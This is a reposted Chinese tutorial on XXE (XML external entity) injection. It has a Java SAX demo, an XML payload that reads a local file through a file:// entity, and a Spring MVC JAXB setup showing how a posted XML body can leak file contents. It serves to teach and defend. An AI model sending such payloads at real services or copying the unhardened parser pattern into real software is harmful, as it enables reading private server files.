<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/papers/1911

                    0x00 背景


                    什么是XXE ? 就是我們所說的所謂xml實體注入.這里不去講所有xml語法規范了,稍微就說一下XML?entity:

                    entity翻譯為"實體"。它的作用類似word中的"宏",也可以理解為DW中的模板,你可以預先定義一個entity,然后在一個文檔中多次調用,或者在多個文檔中調用同一個entity(XML定義了兩種類型的entity。一種是我們這里說的普通entity,在XML文檔中使用;另一種是參數entity,在DTD文件中使用。)。  
                    

                    entity的定義語法為:

                    #!xml
                    <!DOCTYPE filename
                    [  
                        <!ENTITY entity-name "entity-content"  
                    ]>
                    

                    如果要引用一個外部資源:

                    #!xml
                    <!DOCTYPE test
                    [  
                        <!ENTITY test SYSTEM "http://xxx.xxx.com/test.xml">?  
                    ]> 
                    

                    ENTITY可以使用SYSTEM關鍵字,調用外部資源,而這里是支持很多的協議,如:http;file等

                    然后,在其他DoM結點中可以使用如:&test;引用該實體內容.

                    那么,如果在產品功能設計當中,解析的xml是由外部可控制的,那將可能形成,如:文件讀取,DoS,CSRF等漏洞.

                    這里只介紹文件讀取漏洞,其他可以自己google了解.

                    0x01 原理


                    規范沒有問題,xml解析器有些也沒有問題,有問題的是使用他的人.

                    java SAX解析器 demo:

                    Test.java

                    #!java
                    public static void main(String[] args) throws ?Exception {   
                        SAXReader reader = new SAXReader();  
                        //禁止  
                        //reader.setFeature("http://xml.org/sax/features/external-general-entities", true);  
                        Document dom = reader.read("E:/1.xml");  
                        Element root = dom.getRootElement();  
                        Iterator<Element> it = root.elementIterator();  
                        while (it.hasNext()) {  
                            Element elements = it.next();  
                            System.out.println(elements.getText());  
                    
                        }  
                    }  
                    

                    解析的xml,1.xml:

                    #!xml
                    <?xml version="1.0" encoding="utf-8"?>
                    <!DOCTYPE test
                    [<!ELEMENT test ANY ><!ENTITY xxe SYSTEM "file:///E:/1.log" >]>
                    <root>
                        <name>&amp;xxe;</name>
                    </root>
                    

                    實體調用的資源,1.log:

                    XXE test!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 
                    

                    先說一點,解析器一般會支持所有xml規范的.使用file協議,理論上,我們至少可以讀取到當前系統的任意文件內容.如:讀取E盤符下的1.log文件內容.

                    然后被root的子節點,name內容域引用.解析結果,如圖:

                    2014050722403743880.png

                    接下來講,spring MVC在xml格式到java對象反序列化中,可能存在的XXE 形成的文件讀取:

                    spring 是提供xml請求內容綁定到pojo的功能(也可以理解成javabean什么的(有區別,可以自己去看看),spring ?在這里規范化了,所以就跟著叫),用得比較多的還有表單綁定,json綁定。

                    spring mvc?JAXB xml to pojo?unMarshaller ?demo:

                    spring-servlet.xml:

                    #!xml
                    <?xml version="1.0" encoding="UTF-8"?>  
                    <beans xmlns="http://www.springframework.org/schema/beans"  
                    ?xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  
                    ?xmlns:p="http://www.springframework.org/schema/p"  
                    ?xmlns:context="http://www.springframework.org/schema/context"  
                    ?xsi:schemaLocation="http://www.springframework.org/schema/beans  
                    ? http://www.springframework.org/schema/beans/spring-beans-3.0.xsd  
                    ? http://www.springframework.org/schema/context  
                    ? http://www.springframework.org/schema/context/spring-context-3.0.xsd">  
                    ??  
                    ?<context:component-scan base-package="net.spring.controller" />?  
                    ?  
                    ?  
                    ? ? <bean class="org.springframework.web.servlet.mvc.annotation.AnnotationMethodHandlerAdapter">  
                    ? ? ? ? <property name="messageConverters">  
                    ? ? ? ? ? ? <list>  
                    ? ? ? ? ? ? ? ? <ref bean="stringHttpMessageConverter" />  
                    ? ? ? ? ? ? ? ? <ref bean="jsonHttpMessageConverter" />  
                    ? ? ? ? ? ? ? ? <ref bean="marshallingHttpMessageConverter" />  
                    ? ? ? ? ? ? </list>  
                    ? ? ? ? </property>  
                    ? ? </bean>  
                    <bean id="stringHttpMessageConverter" class="org.springframework.http.converter.StringHttpMessageConverter" />?  
                    <bean id="jsonHttpMessageConverter" class="org.springframework.http.converter.json.MappingJacksonHttpMessageConverter" />  
                    <bean id="marshallingHttpMessageConverter" class="org.springframework.http.converter.xml.MarshallingHttpMessageConverter">  
                    ? ? ? ? <constructor-arg ref="jaxbMarshaller" />  
                    ? ? ? ? <property name="supportedMediaTypes" value="application/xml"></property>  
                    </bean>  
                    <bean id="jaxbMarshaller" class="org.springframework.oxm.jaxb.Jaxb2Marshaller">  
                    ? ? ? ? <property name="classesToBeBound">  
                    ? ? ? ? ? ? <list>  
                    ? ? ? ? ? ? ? ? <value>net.spring.controller.User</value>  
                    ? ? ? ? ? ? </list>  
                    ? ? ? ? </property>  
                    </bean>  
                    </beans>  
                    

                    HelloWorldController.java:

                    #!java
                    import org.springframework.stereotype.Controller;  
                    import org.springframework.web.bind.annotation.RequestBody;  
                    import org.springframework.web.bind.annotation.RequestMapping;  
                    import org.springframework.web.servlet.ModelAndView;  
                    
                    @Controller  
                    public class HelloWorldController {?  
                        @RequestMapping("/hello")  
                        public ?ModelAndView helloWorld(@RequestBody User user) {  
                    
                            System.out.println("xxxxxxxxxx"+user.getName());  
                            return new ModelAndView("hello", "user", user);?  
                        }?  
                    } 
                    

                    User.java(xml綁定的pojo):

                    #!java
                    import javax.xml.bind.annotation.XmlElement;  
                    import javax.xml.bind.annotation.XmlRootElement;  
                    
                    @XmlRootElement(name="user") ?  
                    public class User {  
                        private String name;  
                    
                        public String getName() {  
                            return name;  
                    }  
                    @XmlElement  
                        public void setName(String name) {  
                            this.name = name;  
                        }  
                    }   
                    

                    發包,xml綁定pojo,如圖:

                    2014050723155955348.png

                    pojo User對象的name屬性被污染,如圖:

                    2014050723180180429.png

                    如果,攻擊者最終能看到這個name值(直接顯示到頁面或存儲到數據庫再現實到頁面什么的),就是文件讀取漏洞了!

                    不管是其他語言或場景,原理就這么回事。

                    spring 早已經修補,這里主要給個漏洞場景,現在基本沒什么危害吧?因為這個功能使用不常見,但走在前面的框架使用者肯定會使用這個功能,可能需要等個十年左右:

                    https://jira.spring.io/browse/SPR-10806

                    當然,還存在一個小而很有意思的問題,過一段時間的文章中可能會講到。

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频